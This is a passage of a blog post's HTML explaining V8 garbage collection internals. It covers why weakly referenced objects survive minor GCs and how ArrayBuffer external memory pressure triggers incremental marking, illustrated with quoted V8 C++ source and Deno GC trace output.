<span><span style="color: #D6DEEB">  </span><span style="color: #7FDBCA">console</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">log</span><span style="color: #D6DEEB">(</span><span style="color: #7FDBCA">ref</span><span style="color: #C792EA">.</span><span style="color: #82AAFF">deref</span><span style="color: #D6DEEB">());</span></span>
<span><span style="color: #D6DEEB">});</span></span></code></pre></div></section>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="Shell Session 代码块" data-v-c675dba6>Shell Session</h3><ile-root id="ile-32"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-32--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">$ deno run --v8-flags=--trace-gc,--expose-gc test.js</span></span>
<span><span style="color: #403F53">20 ms: Scavenge 6.8 (7.8) -&gt; 5.8 (8.8) MB, pooled: 0 MB, 0.22 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; </span></span>
<span><span style="color: #403F53">21 ms: Scavenge 6.8 (8.8) -&gt; 5.8 (8.8) MB, pooled: 0 MB, 0.20 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; </span></span>
<span><span style="color: #403F53">{}</span></span>
<span><span style="color: #403F53">24 ms: Mark-Compact 5.8 (8.8) -&gt; 5.8 (8.6) MB, pooled: 0 MB, 2.14 / 0.00 ms  (average mu = 0.902, current mu = 0.902) testing; GC in old space requested</span></span>
<span><span style="color: #403F53">undefined</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">$ deno run --v8-flags=--trace-gc,--expose-gc test.js</span></span>
<span><span style="color: #D6DEEB">20 ms: Scavenge 6.8 (7.8) -&gt; 5.8 (8.8) MB, pooled: 0 MB, 0.22 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; </span></span>
<span><span style="color: #D6DEEB">21 ms: Scavenge 6.8 (8.8) -&gt; 5.8 (8.8) MB, pooled: 0 MB, 0.20 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure; </span></span>
<span><span style="color: #D6DEEB">{}</span></span>
<span><span style="color: #D6DEEB">24 ms: Mark-Compact 5.8 (8.8) -&gt; 5.8 (8.6) MB, pooled: 0 MB, 2.14 / 0.00 ms  (average mu = 0.902, current mu = 0.902) testing; GC in old space requested</span></span>
<span><span style="color: #D6DEEB">undefined</span></span></code></pre></div></section>
<p>As a weakly referenced object, the bank manager will survive the minor GC and only be reclaimed in a major GC.</p>
<h2 id="external-memory-and-major-gc-triggers" class="heading"><a href="#external-memory-and-major-gc-triggers" class="heading-anchor" aria-label="章节： External Memory and Major GC Triggers" tabindex="-1"></a><span>External Memory and Major GC Triggers</span></h2>
<p>So what<span class="mojikumi-narrow-left">’</span>s special about an <code>ArrayBuffer</code>?</p>
<p><code>ArrayBuffer</code> is allocated in neither the new space nor the old space, but in the external memory outside of the heap. If the external memory exceeds the limit, it will trigger <span class="mojikumi">“</span>external memory pressure<span class="mojikumi">”</span> and immeidately start a major GC (an <a href="https://v8.dev/blog/concurrent-marking">incremental marking</a>): <a href="https://github.com/v8/v8/blob/d754357c65d58e98e390f538c1120ac4bf2bc614/src/heap/heap.cc#L1461-L1484"><code>v8<wbr>/<wbr>src<wbr>/<wbr>heap<wbr>/<wbr>heap<wbr>.<wbr>cc</code></a></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="C++ 代码块" data-v-c675dba6>C++</h3><ile-root id="ile-33"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-33--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">  </span><span style="color: #994CC3">uint64_t</span><span style="color: #403F53"> soft_limit </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">external_memory_</span><span style="color: #403F53">.</span><span style="color: #4876D6">soft_limit</span><span style="color: #403F53">();</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (current </span><span style="color: #994CC3">&lt;=</span><span style="color: #403F53"> soft_limit) {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">return</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">  }</span></span>
<span><span style="color: #403F53">  </span><span style="color: #4876D6">TRACE_EVENT2</span><span style="color: #403F53">(</span><span style="color: #111111">&quot;</span><span style="color: #C96765">devtools.timeline,v8</span><span style="color: #111111">&quot;</span><span style="color: #403F53">, </span><span style="color: #111111">&quot;</span><span style="color: #C96765">V8.ExternalMemoryPressure</span><span style="color: #111111">&quot;</span><span style="color: #403F53">,</span></span>
<span><span style="color: #403F53">               </span><span style="color: #111111">&quot;</span><span style="color: #C96765">external_memory_mb</span><span style="color: #111111">&quot;</span><span style="color: #403F53">, </span><span style="color: #0C969B">static_cast</span><span style="color: #994CC3">&lt;int&gt;</span><span style="color: #403F53">((current) </span><span style="color: #994CC3">/</span><span style="color: #403F53"> MB),</span></span>
<span><span style="color: #403F53">               </span><span style="color: #111111">&quot;</span><span style="color: #C96765">external_memory_soft_limit_mb</span><span style="color: #111111">&quot;</span><span style="color: #403F53">,</span></span>
<span><span style="color: #403F53">               </span><span style="color: #0C969B">static_cast</span><span style="color: #994CC3">&lt;int&gt;</span><span style="color: #403F53">((soft_limit) </span><span style="color: #994CC3">/</span><span style="color: #403F53"> MB));</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (</span><span style="color: #4876D6">incremental_marking</span><span style="color: #403F53">()-&gt;</span><span style="color: #4876D6">IsStopped</span><span style="color: #403F53">()) {</span></span>
<span><span style="color: #403F53">    </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (</span><span style="color: #4876D6">incremental_marking</span><span style="color: #403F53">()-&gt;</span><span style="color: #4876D6">CanAndShouldBeStarted</span><span style="color: #403F53">()) {</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">StartIncrementalMarking</span><span style="color: #403F53">(</span><span style="color: #4876D6">GCFlagsForIncrementalMarking</span><span style="color: #403F53">(),</span></span>
<span><span style="color: #403F53">                              GarbageCollectionReason::kExternalMemoryPressure,</span></span>
<span><span style="color: #403F53">                              kGCCallbackFlagsForExternalMemory);</span></span>
<span><span style="color: #403F53">    } </span><span style="color: #994CC3">else</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">      </span><span style="color: #4876D6">CollectAllGarbage</span><span style="color: #403F53">(i::GCFlag::kNoFlags,</span></span>
<span><span style="color: #403F53">                        GarbageCollectionReason::kExternalMemoryPressure,</span></span>
<span><span style="color: #403F53">                        kGCCallbackFlagsForExternalMemory);</span></span>
<span><span style="color: #403F53">    }</span></span>
<span><span style="color: #403F53">  } </span><span style="color: #994CC3">else</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #939DBB">    // Incremental marking is turned on and has already been started.</span></span>
<span><span style="color: #403F53">    current_gc_callback_flags_ </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #0C969B">static_cast</span><span style="color: #994CC3">&lt;</span><span style="color: #403F53">GCCallbackFlags</span><span style="color: #994CC3">&gt;</span><span style="color: #403F53">(</span></span>
<span><span style="color: #403F53">        current_gc_callback_flags_ </span><span style="color: #994CC3">|</span><span style="color: #403F53"> kGCCallbackFlagsForExternalMemory);</span></span>
<span><span style="color: #403F53">    </span><span style="color: #4876D6">incremental_marking</span><span style="color: #403F53">()-&gt;</span><span style="color: #4876D6">AdvanceAndFinalizeIfNecessary</span><span style="color: #403F53">();</span></span>
<span><span style="color: #403F53">  }</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">  </span><span style="color: #C792EA">uint64_t</span><span style="color: #D6DEEB"> soft_limit </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #C5E478">external_memory_</span><span style="color: #D6DEEB">.</span><span style="color: #82AAFF">soft_limit</span><span style="color: #D6DEEB">();</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (current </span><span style="color: #C792EA">&lt;=</span><span style="color: #D6DEEB"> soft_limit) {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">  }</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #82AAFF">TRACE_EVENT2</span><span style="color: #D6DEEB">(</span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">devtools.timeline,v8</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">, </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">V8.ExternalMemoryPressure</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">               </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">external_memory_mb</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">, </span><span style="color: #7FDBCA">static_cast</span><span style="color: #C792EA">&lt;int&gt;</span><span style="color: #D6DEEB">((current) </span><span style="color: #C792EA">/</span><span style="color: #D6DEEB"> MB),</span></span>
<span><span style="color: #D6DEEB">               </span><span style="color: #D9F5DD">&quot;</span><span style="color: #ECC48D">external_memory_soft_limit_mb</span><span style="color: #D9F5DD">&quot;</span><span style="color: #D6DEEB">,</span></span>
<span><span style="color: #D6DEEB">               </span><span style="color: #7FDBCA">static_cast</span><span style="color: #C792EA">&lt;int&gt;</span><span style="color: #D6DEEB">((soft_limit) </span><span style="color: #C792EA">/</span><span style="color: #D6DEEB"> MB));</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (</span><span style="color: #82AAFF">incremental_marking</span><span style="color: #D6DEEB">()-&gt;</span><span style="color: #82AAFF">IsStopped</span><span style="color: #D6DEEB">()) {</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (</span><span style="color: #82AAFF">incremental_marking</span><span style="color: #D6DEEB">()-&gt;</span><span style="color: #82AAFF">CanAndShouldBeStarted</span><span style="color: #D6DEEB">()) {</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #82AAFF">StartIncrementalMarking</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">GCFlagsForIncrementalMarking</span><span style="color: #D6DEEB">(),</span></span>
<span><span style="color: #D6DEEB">                              GarbageCollectionReason::kExternalMemoryPressure,</span></span>
<span><span style="color: #D6DEEB">                              kGCCallbackFlagsForExternalMemory);</span></span>
<span><span style="color: #D6DEEB">    } </span><span style="color: #C792EA">else</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #82AAFF">CollectAllGarbage</span><span style="color: #D6DEEB">(i::GCFlag::kNoFlags,</span></span>
<span><span style="color: #D6DEEB">                        GarbageCollectionReason::kExternalMemoryPressure,</span></span>
<span><span style="color: #D6DEEB">                        kGCCallbackFlagsForExternalMemory);</span></span>
<span><span style="color: #D6DEEB">    }</span></span>
<span><span style="color: #D6DEEB">  } </span><span style="color: #C792EA">else</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #637777">    // Incremental marking is turned on and has already been started.</span></span>
<span><span style="color: #D6DEEB">    current_gc_callback_flags_ </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #7FDBCA">static_cast</span><span style="color: #C792EA">&lt;</span><span style="color: #D6DEEB">GCCallbackFlags</span><span style="color: #C792EA">&gt;</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #D6DEEB">        current_gc_callback_flags_ </span><span style="color: #C792EA">|</span><span style="color: #D6DEEB"> kGCCallbackFlagsForExternalMemory);</span></span>
<span><span style="color: #D6DEEB">    </span><span style="color: #82AAFF">incremental_marking</span><span style="color: #D6DEEB">()-&gt;</span><span style="color: #82AAFF">AdvanceAndFinalizeIfNecessary</span><span style="color: #D6DEEB">();</span></span>
<span><span style="color: #D6DEEB">  }</span></span></code></pre></div></section>
<p>Where the <code>soft_limit</code> is initially 64MiB:</p>
<p><a href="https://github.com/v8/v8/blob/f370df698197d3db7d6c64647be611c7840ad935/src/heap/heap.h#L243-L245"><code>v8<wbr>/<wbr>src<wbr>/<wbr>heap<wbr>/<wbr>heap<wbr>.<wbr>h</code></a></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="C++ 代码块" data-v-c675dba6>C++</h3><ile-root id="ile-34"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-34--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">    </span><span style="color: #994CC3">uint64_t</span><span style="color: #403F53"> </span><span style="color: #4876D6">soft_limit</span><span style="color: #403F53">() </span><span style="color: #994CC3">const</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">      </span><span style="color: #994CC3">return</span><span style="color: #403F53"> </span><span style="color: #4876D6">low_since_mark_compact</span><span style="color: #403F53">() </span><span style="color: #994CC3">+</span><span style="color: #403F53"> kExternalAllocationSoftLimit;</span></span>
<span><span style="color: #403F53">    }</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">    </span><span style="color: #C792EA">uint64_t</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">soft_limit</span><span style="color: #D6DEEB">() </span><span style="color: #C792EA">const</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #C792EA">return</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">low_since_mark_compact</span><span style="color: #D6DEEB">() </span><span style="color: #C792EA">+</span><span style="color: #D6DEEB"> kExternalAllocationSoftLimit;</span></span>
<span><span style="color: #D6DEEB">    }</span></span></code></pre></div></section>
<p><a href="https://github.com/v8/v8/blob/f370df698197d3db7d6c64647be611c7840ad935/include/v8-internal.h#L1050-L1052"><code>v8<wbr>/<wbr>include<wbr>/<wbr>v8<wbr>-<wbr>internal<wbr>.<wbr>h</code></a></p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="C++ 代码块" data-v-c675dba6>C++</h3><ile-root id="ile-35"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-35--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #939DBB">  // Soft limit for AdjustAmountofExternalAllocatedMemory. Trigger an</span></span>
<span><span style="color: #939DBB">  // incremental GC once the external memory reaches this limit.</span></span>
<span><span style="color: #403F53">  </span><span style="color: #994CC3">static</span><span style="color: #403F53"> </span><span style="color: #994CC3">constexpr</span><span style="color: #403F53"> </span><span style="color: #994CC3">size_t</span><span style="color: #403F53"> kExternalAllocationSoftLimit </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #AA0982">64</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span><span style="color: #403F53"> </span><span style="color: #AA0982">1024</span><span style="color: #403F53"> </span><span style="color: #994CC3">*</span><span style="color: #403F53"> </span><span style="color: #AA0982">1024</span><span style="color: #403F53">;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #637777">  // Soft limit for AdjustAmountofExternalAllocatedMemory. Trigger an</span></span>
<span><span style="color: #637777">  // incremental GC once the external memory reaches this limit.</span></span>
<span><span style="color: #D6DEEB">  </span><span style="color: #C792EA">static</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">constexpr</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">size_t</span><span style="color: #D6DEEB"> kExternalAllocationSoftLimit </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">64</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1024</span><span style="color: #D6DEEB"> </span><span style="color: #C792EA">*</span><span style="color: #D6DEEB"> </span><span style="color: #F78C6C">1024</span><span style="color: #D6DEEB">;</span></span></code></pre></div></section>
<p>This explains why a large <code>ArrayBuffer</code> can trigger a major GC, but why not a normal array?</p>
<p>With the <code>--<wbr>trace<wbr>-<wbr>incremental<wbr>-<wbr>marking</code> V8 flag, we can see that an incremental marking is immediately started when using an <code>ArrayBuffer</code>:</p>
<section class="code-block relative my-6 shadow" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" aria-label="plain text 代码块" data-v-c675dba6>plain text</h3><ile-root id="ile-36"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-36--></div><div class="dark:hidden" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><samp><span><span style="color: #403f53">1471 ms: [IncrementalMarking] Start (external memory pressure): (size/waste/limit/slack) v8: 6MB / 0MB / 512MB / 506MB global: 6MB / 0MB / 1024MB / 1018MB</span></span>
<span><span style="color: #403f53">1486 ms: [IncrementalMarking] Start marking</span></span>
<span><span style="color: #403f53">1494 ms: [IncrementalMarking] Black allocation started</span></span>
<span><span style="color: #403f53">……</span></span></samp></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><samp><span><span style="color: #d6deeb">1471 ms: [IncrementalMarking] Start (external memory pressure): (size/waste/limit/slack) v8: 6MB / 0MB / 512MB / 506MB global: 6MB / 0MB / 1024MB / 1018MB</span></span>
<span><span style="color: #d6deeb">1486 ms: [IncrementalMarking] Start marking</span></span>
<span><span style="color: #d6deeb">1494 ms: [IncrementalMarking] Black allocation started</span></span>
<span><span style="color: #d6deeb">……</span></span></samp></pre></div></section>
<p>However, it is only scheduled but not started when using a normal array:</p>
<section class="code-block relative my-6 shadow" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" aria-label="plain text 代码块" data-v-c675dba6>plain text</h3><ile-root id="ile-37"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-37--></div><div class="dark:hidden" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><samp><span><span style="color: #403f53">1428 ms: Scavenge 66.7 (102.4) -&gt; 63.5 (197.9) MB, pooled: 0 MB, 72.03 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #403f53">1428 ms: [IncrementalMarking] Job: Schedule</span></span></samp></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><samp><span><span style="color: #d6deeb">1428 ms: Scavenge 66.7 (102.4) -&gt; 63.5 (197.9) MB, pooled: 0 MB, 72.03 / 0.00 ms  (average mu = 1.000, current mu = 1.000) allocation failure;</span></span>
<span><span style="color: #d6deeb">1428 ms: [IncrementalMarking] Job: Schedule</span></span></samp></pre></div></section>
<p>This scheduling is happened in the <a href="https://github.com/v8/v8/blob/d754357c65d58e98e390f538c1120ac4bf2bc614/src/heap/heap.cc#L2004-L2024"><code class="break-all">StartIncrementalMarkingIfAllocationLimitIsReached</code></a> function:</p>
<section class="code-block relative my-6 shadow" itemprop="hasPart" itemscope itemtype="https://schema.org/SoftwareSourceCode" data-v-c675dba6><div class="h-6 items-center rd-t-1 bg-area px-4 dark:bg-#2A313A media-screen:important-flex" style="display:none;" data-v-c675dba6><h3 class="text-3 text-footer" itemprop="programmingLanguage" aria-label="C++ 代码块" data-v-c675dba6>C++</h3><ile-root id="ile-38"><button title="复制到剪贴板" class="copy-button b-footer text-footer" data-v-63dfb2af><span class="i-mdi-content-copy" data-v-63dfb2af></span><span class="sr-only" role="status" data-v-63dfb2af></span></button></ile-root><!--ISLAND_HYDRATION_PLACEHOLDER_ile-38--></div><div class="dark:hidden" itemprop="text" data-v-c675dba6><pre class="shiki light" style="background-color: #FBFBFB" tabindex="0"><code><span><span style="color: #403F53">      </span><span style="color: #994CC3">case</span><span style="color: #403F53"> IncrementalMarkingLimit::kHardLimit:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (</span><span style="color: #4876D6">local_heap</span><span style="color: #403F53">-&gt;</span><span style="color: #4876D6">is_main_thread_for</span><span style="color: #403F53">(</span><span style="color: #0C969B">this</span><span style="color: #403F53">)) {</span></span>
<span><span style="color: #403F53">          </span><span style="color: #4876D6">StartIncrementalMarking</span><span style="color: #403F53">(</span></span>
<span><span style="color: #403F53">              gc_flags,</span></span>
<span><span style="color: #403F53">              </span><span style="color: #4876D6">OldGenerationSpaceAvailable</span><span style="color: #403F53">() </span><span style="color: #994CC3">&lt;=</span><span style="color: #403F53"> </span><span style="color: #4876D6">NewSpaceTargetCapacity</span><span style="color: #403F53">()</span></span>
<span><span style="color: #403F53">                  </span><span style="color: #994CC3">?</span><span style="color: #403F53"> GarbageCollectionReason::kAllocationLimit</span></span>
<span><span style="color: #403F53">                  </span><span style="color: #994CC3">:</span><span style="color: #403F53"> GarbageCollectionReason::kGlobalAllocationLimit,</span></span>
<span><span style="color: #403F53">              gc_callback_flags);</span></span>
<span><span style="color: #403F53">        } </span><span style="color: #994CC3">else</span><span style="color: #403F53"> {</span></span>
<span><span style="color: #403F53">          ExecutionAccess </span><span style="color: #4876D6">access</span><span style="color: #403F53">(</span><span style="color: #4876D6">isolate</span><span style="color: #403F53">());</span></span>
<span><span style="color: #403F53">          </span><span style="color: #4876D6">isolate</span><span style="color: #403F53">()-&gt;</span><span style="color: #4876D6">stack_guard</span><span style="color: #403F53">()-&gt;</span><span style="color: #4876D6">RequestStartIncrementalMarking</span><span style="color: #403F53">();</span></span>
<span><span style="color: #403F53">          </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (</span><span style="color: #994CC3">auto*</span><span style="color: #403F53"> job </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">incremental_marking</span><span style="color: #403F53">()-&gt;</span><span style="color: #4876D6">incremental_marking_job</span><span style="color: #403F53">()) {</span></span>
<span><span style="color: #403F53">            </span><span style="color: #4876D6">job</span><span style="color: #403F53">-&gt;</span><span style="color: #4876D6">ScheduleTask</span><span style="color: #403F53">();</span></span>
<span><span style="color: #403F53">          }</span></span>
<span><span style="color: #403F53">        }</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">break</span><span style="color: #403F53">;</span></span>
<span><span style="color: #403F53">      </span><span style="color: #994CC3">case</span><span style="color: #403F53"> IncrementalMarkingLimit::kSoftLimit:</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">if</span><span style="color: #403F53"> (</span><span style="color: #994CC3">auto*</span><span style="color: #403F53"> job </span><span style="color: #994CC3">=</span><span style="color: #403F53"> </span><span style="color: #4876D6">incremental_marking</span><span style="color: #403F53">()-&gt;</span><span style="color: #4876D6">incremental_marking_job</span><span style="color: #403F53">()) {</span></span>
<span><span style="color: #403F53">          </span><span style="color: #4876D6">job</span><span style="color: #403F53">-&gt;</span><span style="color: #4876D6">ScheduleTask</span><span style="color: #403F53">(TaskPriority::kUserVisible);</span></span>
<span><span style="color: #403F53">        }</span></span>
<span><span style="color: #403F53">        </span><span style="color: #994CC3">break</span><span style="color: #403F53">;</span></span></code></pre></div><div class="dark:important-block" style="display:none;" data-v-c675dba6><pre class="shiki dark" style="background-color: #011627" tabindex="0"><code><span><span style="color: #D6DEEB">      </span><span style="color: #C792EA">case</span><span style="color: #D6DEEB"> IncrementalMarkingLimit::kHardLimit:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (</span><span style="color: #C5E478">local_heap</span><span style="color: #D6DEEB">-&gt;</span><span style="color: #82AAFF">is_main_thread_for</span><span style="color: #D6DEEB">(</span><span style="color: #7FDBCA">this</span><span style="color: #D6DEEB">)) {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #82AAFF">StartIncrementalMarking</span><span style="color: #D6DEEB">(</span></span>
<span><span style="color: #D6DEEB">              gc_flags,</span></span>
<span><span style="color: #D6DEEB">              </span><span style="color: #82AAFF">OldGenerationSpaceAvailable</span><span style="color: #D6DEEB">() </span><span style="color: #C792EA">&lt;=</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">NewSpaceTargetCapacity</span><span style="color: #D6DEEB">()</span></span>
<span><span style="color: #D6DEEB">                  </span><span style="color: #C792EA">?</span><span style="color: #D6DEEB"> GarbageCollectionReason::kAllocationLimit</span></span>
<span><span style="color: #D6DEEB">                  </span><span style="color: #C792EA">:</span><span style="color: #D6DEEB"> GarbageCollectionReason::kGlobalAllocationLimit,</span></span>
<span><span style="color: #D6DEEB">              gc_callback_flags);</span></span>
<span><span style="color: #D6DEEB">        } </span><span style="color: #C792EA">else</span><span style="color: #D6DEEB"> {</span></span>
<span><span style="color: #D6DEEB">          ExecutionAccess </span><span style="color: #82AAFF">access</span><span style="color: #D6DEEB">(</span><span style="color: #82AAFF">isolate</span><span style="color: #D6DEEB">());</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #82AAFF">isolate</span><span style="color: #D6DEEB">()-&gt;</span><span style="color: #82AAFF">stack_guard</span><span style="color: #D6DEEB">()-&gt;</span><span style="color: #82AAFF">RequestStartIncrementalMarking</span><span style="color: #D6DEEB">();</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (</span><span style="color: #C792EA">auto*</span><span style="color: #D6DEEB"> job </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">incremental_marking</span><span style="color: #D6DEEB">()-&gt;</span><span style="color: #82AAFF">incremental_marking_job</span><span style="color: #D6DEEB">()) {</span></span>
<span><span style="color: #D6DEEB">            </span><span style="color: #C5E478">job</span><span style="color: #D6DEEB">-&gt;</span><span style="color: #82AAFF">ScheduleTask</span><span style="color: #D6DEEB">();</span></span>
<span><span style="color: #D6DEEB">          }</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">break</span><span style="color: #D6DEEB">;</span></span>
<span><span style="color: #D6DEEB">      </span><span style="color: #C792EA">case</span><span style="color: #D6DEEB"> IncrementalMarkingLimit::kSoftLimit:</span></span>
<span><span style="color: #D6DEEB">        </span><span style="color: #C792EA">if</span><span style="color: #D6DEEB"> (</span><span style="color: #C792EA">auto*</span><span style="color: #D6DEEB"> job </span><span style="color: #C792EA">=</span><span style="color: #D6DEEB"> </span><span style="color: #82AAFF">incremental_marking</span><span style="color: #D6DEEB">()-&gt;</span><span style="color: #82AAFF">incremental_marking_job</span><span style="color: #D6DEEB">()) {</span></span>
<span><span style="color: #D6DEEB">          </span><span style="color: #C5E478">job</span><span style="color: #D6DEEB">-&gt;</span><span style="color: #82AAFF">ScheduleTask</span><span style="color: #D6DEEB">(TaskPriority::kUserVisible);</span></span>
<span><span style="color: #D6DEEB">        }</span></span>
